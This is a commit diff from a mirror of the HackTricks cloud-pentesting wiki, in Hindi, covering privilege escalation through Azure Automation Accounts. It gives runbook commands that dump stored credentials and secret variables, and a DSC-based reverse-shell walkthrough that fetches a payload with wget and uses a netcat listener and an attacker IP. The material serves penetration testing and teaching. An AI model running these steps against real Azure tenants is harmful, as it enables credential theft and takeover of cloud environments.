mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 05:03:31 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,239 @@
|
||||
# Az - Azure Automation Accounts Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
संक्षेप में, ये अनुमतियाँ **Automation Account** में **Runbooks** बनाने, संशोधित करने और चलाने की अनुमति देती हैं, जिसे आप **Automation Account** के संदर्भ में **कोड निष्पादित** करने और असाइन किए गए **Managed Identities** के लिए विशेषाधिकार बढ़ाने और **Automation Account** में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** लीक करने के लिए उपयोग कर सकते हैं।
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account में एक Runbook के कोड को संशोधित करने की अनुमति देती है:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
|
||||
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
ध्यान दें कि पिछले स्क्रिप्ट का उपयोग **उपयोगकर्ता नाम और पासवर्ड** को **leak** करने और Automation Account में संग्रहीत **encrypted variable** के मान को प्राप्त करने के लिए किया जा सकता है।
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** उपयोगकर्ता को Automation Account में एक Runbook प्रकाशित करने की अनुमति देती है ताकि परिवर्तन लागू किए जा सकें:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/jobs/write`** उपयोगकर्ता को Automation Account में Runbook चलाने की अनुमति देती है:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
```
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/jobs/output/read`** उपयोगकर्ता को Automation Account में एक नौकरी के आउटपुट को पढ़ने की अनुमति देती है:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
यदि Runbooks बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो आपको इसे करने के लिए **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
यह अनुमति उपयोगकर्ता को **Automation Account** को उपयोगकर्ता प्रबंधित पहचान सौंपने की अनुमति देती है:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/schedules/write`** के साथ, Automation Account में एक नया Schedule बनाना संभव है जो हर 15 मिनट में निष्पादित होता है (बहुत छिपा हुआ नहीं) निम्नलिखित कमांड का उपयोग करके।
|
||||
|
||||
ध्यान दें कि **एक शेड्यूल के लिए न्यूनतम अंतराल 15 मिनट** है, और **न्यूनतम प्रारंभ समय 5 मिनट** भविष्य में है।
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every minute" \
|
||||
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
|
||||
## Form macOS
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every 15 minutes" \
|
||||
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
फिर, अनुमति **`Microsoft.Automation/automationAccounts/jobSchedules/write`** के साथ, एक रनबुक को शेड्यूलर असाइन करना संभव है:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"runOn": "",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"schedule": {
|
||||
"name": "<scheduler-name>>"
|
||||
},
|
||||
"parameters": {}
|
||||
}
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> पिछले उदाहरण में jobchedule id को **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` उदाहरण के रूप में** छोड़ा गया था, लेकिन आपको इस असाइनमेंट को बनाने के लिए एक मनमाना मान उपयोग करने की आवश्यकता होगी।
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के अंदर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है।
|
||||
|
||||
ध्यान दें कि आपको **webhook URI** को टोकन के साथ इंगित करने की आवश्यकता होगी।
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ **एक Runbook के कोड को अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"parameters": {},
|
||||
"runOn": "",
|
||||
"runtimeEnvironment": "PowerShell-5.1"
|
||||
}'
|
||||
|
||||
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
|
||||
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <automation-account-name> \
|
||||
--name RemoteGithub \
|
||||
--repo-url https://github.com/carlospolop/gh-runbooks.git \
|
||||
--branch main \
|
||||
--folder-path /runbooks/ \
|
||||
--publish-runbook true \
|
||||
--auto-sync \
|
||||
--source-type GitHub \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जा सकें**।
|
||||
|
||||
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में काम करने के लिए चार स्रोत नियंत्रण के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो इसे **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में उपयोगकर्ता प्रबंधित पहचान के **क्लाइंट आईडी** को सेट करके भी कॉन्फ़िगर किया जा सकता है।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है।
|
||||
|
||||
### कस्टम रनटाइम वातावरण
|
||||
|
||||
यदि एक ऑटोमेशन अकाउंट एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज लोड होता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा।
|
||||
|
||||
### राज्य कॉन्फ़िगरेशन से समझौता करना
|
||||
|
||||
**पूर्ण पोस्ट देखें:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- चरण 1 — फ़ाइलें बनाएं
|
||||
|
||||
**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट की आवश्यकता है:
|
||||
1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाने और निष्पादित करने के लिए है। इसे [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकता है।
|
||||
2. `push_reverse_shell_config.ps1`: VM पर कॉन्फ़िगरेशन को प्रकाशित करने के लिए एक स्क्रिप्ट, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है।
|
||||
|
||||
**कस्टमाइजेशन:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं।
|
||||
|
||||
- चरण 2 — कॉन्फ़िगरेशन फ़ाइल को ज़िप करें
|
||||
|
||||
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज अकाउंट में स्थानांतरित करने के लिए तैयार किया जा सके।
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Step 3 — स्टोरेज संदर्भ सेट करें और अपलोड करें
|
||||
|
||||
ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Step 4 — Prep Kali Box
|
||||
|
||||
Kali सर्वर GitHub रिपॉजिटरी से RevPS.ps1 पेलोड डाउनलोड करता है।
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
स्क्रिप्ट को लक्षित Windows VM और रिवर्स शेल के लिए पोर्ट निर्दिष्ट करने के लिए संपादित किया गया है।
|
||||
|
||||
- Step 5 — Publish Configuration File
|
||||
|
||||
कॉन्फ़िगरेशन फ़ाइल को निष्पादित किया जाता है, जिसके परिणामस्वरूप रिवर्स-शेल स्क्रिप्ट को Windows VM पर निर्दिष्ट स्थान पर तैनात किया जाता है।
|
||||
|
||||
- Step 6 — Host Payload and Setup Listener
|
||||
|
||||
पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर।
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
निर्धारित कार्य पेलोड को निष्पादित करता है, SYSTEM-स्तरीय विशेषाधिकार प्राप्त करता है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,170 +0,0 @@
|
||||
# Az - Automation Account
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation एक क्लाउड-आधारित ऑटोमेशन, ऑपरेटिंग सिस्टम अपडेट और कॉन्फ़िगरेशन सेवा प्रदान करता है जो आपके Azure और गैर-Azure वातावरण में लगातार प्रबंधन का समर्थन करता है। इसमें प्रक्रिया ऑटोमेशन, कॉन्फ़िगरेशन प्रबंधन, अपडेट प्रबंधन, साझा क्षमताएँ और विषम विशेषताएँ शामिल हैं।
|
||||
|
||||
ये Azure में "**निर्धारित कार्य**" की तरह हैं जो आपको **प्रबंधित**, जांचने और **Azure वातावरण** को कॉन्फ़िगर करने के लिए चीजें (क्रियाएँ या यहां तक कि स्क्रिप्ट) निष्पादित करने की अनुमति देंगे।
|
||||
|
||||
### Run As Account
|
||||
|
||||
जब **Run as Account** का उपयोग किया जाता है, तो यह एक Azure AD **ऐप्लिकेशन** बनाता है जिसमें स्वयं-हस्ताक्षरित प्रमाणपत्र होता है, एक **सेवा प्रमुख** बनाता है और **वर्तमान सदस्यता** में खाते के लिए **Contributor** भूमिका सौंपता है (कई विशेषाधिकार)।\
|
||||
Microsoft ऑटोमेशन खाते के लिए **Managed Identity** का उपयोग करने की सिफारिश करता है।
|
||||
|
||||
> [!WARNING]
|
||||
> इसे **30 सितंबर, 2023 को हटा दिया जाएगा और Managed Identities के लिए बदला जाएगा।**
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
**Runbooks** आपको **मनमाने PowerShell** कोड को **निष्पादित** करने की अनुमति देते हैं। इसका **दुरुपयोग एक हमलावर** द्वारा **संलग्न प्रमुख** के अनुमतियों को चुराने के लिए किया जा सकता है (यदि कोई हो)।\
|
||||
**Runbooks** के **कोड** में आप **संवेदनशील जानकारी** (जैसे क्रेडेंशियल्स) भी पा सकते हैं।
|
||||
|
||||
यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे रन का **आउटपुट** **सामिल** करते हैं (संभावित **संवेदनशील जानकारी**).
|
||||
|
||||
जाएँ `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
### Hybrid Worker
|
||||
|
||||
एक Runbook को **Azure के अंदर एक कंटेनर** में या **Hybrid Worker** (गैर-Azure मशीन) में चलाया जा सकता है।\
|
||||
**Log Analytics Agent** को VM पर तैनात किया जाता है ताकि इसे एक हाइब्रिड कार्यकर्ता के रूप में पंजीकृत किया जा सके।\
|
||||
हाइब्रिड कार्यकर्ता नौकरियां Windows पर **SYSTEM** और Linux पर **nxautomation** खाते के रूप में चलती हैं।\
|
||||
प्रत्येक हाइब्रिड कार्यकर्ता को **Hybrid Worker Group** में पंजीकृत किया जाता है।
|
||||
|
||||
इसलिए, यदि आप **Windows Hybrid Worker** में एक **Runbook** चलाने का विकल्प चुन सकते हैं, तो आप एक बाहरी मशीन के अंदर **System** के रूप में **मनमाने आदेश** निष्पादित करेंगे (अच्छी पिवट तकनीक)।
|
||||
|
||||
## Compromise State Configuration (SC)
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** एक Azure कॉन्फ़िगरेशन प्रबंधन सेवा है जो आपको PowerShell Desired State Configuration (DSC) [कॉन्फ़िगरेशन](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) लिखने, प्रबंधित करने और संकलित करने की अनुमति देती है जो किसी भी क्लाउड या ऑन-प्रिमाइसेस डेटा सेंटर में नोड्स के लिए होती है। यह सेवा [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) को भी आयात करती है, और लक्षित नोड्स को कॉन्फ़िगरेशन सौंपती है, सभी क्लाउड में। आप Azure पोर्टल में **Configuration Management** के तहत **State configuration (DSC)** का चयन करके Azure Automation State Configuration तक पहुँच सकते हैं।
|
||||
|
||||
इन कॉन्फ़िगरेशन में **संवेदनशील जानकारी** मिल सकती है।
|
||||
|
||||
### RCE
|
||||
|
||||
SC का दुरुपयोग करके प्रबंधित मशीनों में मनमाने स्क्रिप्ट चलाना संभव है।
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeration
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
### एक रनबुक बनाएं
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
### एक रन बुक का उपयोग करके ऑटोमेशन अकाउंट में परिभाषित क्रेड्स और वेरिएबल्स को एक्सफिल्ट्रेट करें
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
$creds = Get-AutomationPSCredential -Name <credentials_name>
|
||||
$runbook_variable = Get-AutomationVariable -name <variable_name>
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password
|
||||
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
|
||||
|
||||
$ResourceGroupName = '<resource_group_name>'
|
||||
$AutomationAccountName = '<auto_acc_name>'
|
||||
$RunBookName = 'Exif-Credentials' #Change this for stealthness
|
||||
|
||||
# Creare Run book, publish, start, and get output
|
||||
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
|
||||
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
|
||||
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
> [!NOTE]
|
||||
> आप एक मौजूदा रन बुक को संशोधित करके और वेब कंसोल से वही कर सकते हैं।
|
||||
|
||||
### स्वचालित उच्च विशेषाधिकार प्राप्त उपयोगकर्ता निर्माण के लिए सेटअप के चरण
|
||||
|
||||
#### 1. एक ऑटोमेशन खाता प्रारंभ करें
|
||||
|
||||
- **आवश्यक क्रिया:** एक नया ऑटोमेशन खाता बनाएं।
|
||||
- **विशिष्ट सेटिंग:** सुनिश्चित करें कि "Create Azure Run As account" सक्षम है।
|
||||
|
||||
#### 2. रनबुक आयात और सेटअप करें
|
||||
|
||||
- **स्रोत:** [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst) से नमूना रनबुक डाउनलोड करें।
|
||||
- **आवश्यक क्रियाएँ:**
|
||||
- रनबुक को ऑटोमेशन खाते में आयात करें।
|
||||
- रनबुक को प्रकाशित करें ताकि इसे निष्पादित किया जा सके।
|
||||
- रनबुक से एक वेबहुक संलग्न करें, बाहरी ट्रिगर्स को सक्षम करते हुए।
|
||||
|
||||
#### 3. AzureAD मॉड्यूल कॉन्फ़िगर करें
|
||||
|
||||
- **आवश्यक क्रिया:** ऑटोमेशन खाते में AzureAD मॉड्यूल जोड़ें।
|
||||
- **अतिरिक्त कदम:** सुनिश्चित करें कि सभी Azure Automation मॉड्यूल उनके नवीनतम संस्करणों में अपडेट हैं।
|
||||
|
||||
#### 4. अनुमति असाइनमेंट
|
||||
|
||||
- **असाइन करने के लिए भूमिकाएँ:**
|
||||
- उपयोगकर्ता प्रशासक
|
||||
- सदस्यता मालिक
|
||||
- **लक्ष्य:** आवश्यक विशेषाधिकार के लिए इन भूमिकाओं को ऑटोमेशन खाते को असाइन करें।
|
||||
|
||||
#### 5. संभावित पहुंच हानि के प्रति जागरूकता
|
||||
|
||||
- **नोट:** ऐसी स्वचालन कॉन्फ़िगर करने से सदस्यता पर नियंत्रण खोने की संभावना हो सकती है।
|
||||
|
||||
#### 6. उपयोगकर्ता निर्माण को ट्रिगर करें
|
||||
|
||||
- एक नया उपयोगकर्ता बनाने के लिए POST अनुरोध भेजकर वेबहुक को ट्रिगर करें।
|
||||
- प्रदान किए गए PowerShell स्क्रिप्ट का उपयोग करें, यह सुनिश्चित करते हुए कि `$uri` को आपके वास्तविक वेबहुक URL से बदलें और `$AccountInfo` को इच्छित उपयोगकर्ता नाम और पासवर्ड के साथ अपडेट करें।
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,57 +0,0 @@
|
||||
# Az - State Configuration RCE
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Summary of Remote Server (C2) Infrastructure Preparation and Steps
|
||||
|
||||
#### Overview
|
||||
|
||||
यह प्रक्रिया एक संशोधित Nishang `Invoke-PowerShellTcp.ps1` पेलोड को होस्ट करने के लिए एक रिमोट सर्वर इन्फ्रास्ट्रक्चर सेटअप करने में शामिल है, जिसे `RevPS.ps1` कहा जाता है, जिसे Windows Defender को बायपास करने के लिए डिज़ाइन किया गया है। पेलोड को एक Kali Linux मशीन से IP `40.84.7.74` के साथ एक साधारण Python HTTP सर्वर का उपयोग करके परोसा जाता है। यह ऑपरेशन कई चरणों के माध्यम से निष्पादित किया जाता है:
|
||||
|
||||
#### Step 1 — Create Files
|
||||
|
||||
- **Files Required:** दो PowerShell स्क्रिप्ट की आवश्यकता है:
|
||||
1. `reverse_shell_config.ps1`: एक Desired State Configuration (DSC) फ़ाइल जो पेलोड को लाने और निष्पादित करने के लिए है। इसे [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकता है।
|
||||
2. `push_reverse_shell_config.ps1`: VM पर कॉन्फ़िगरेशन को प्रकाशित करने के लिए एक स्क्रिप्ट, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है।
|
||||
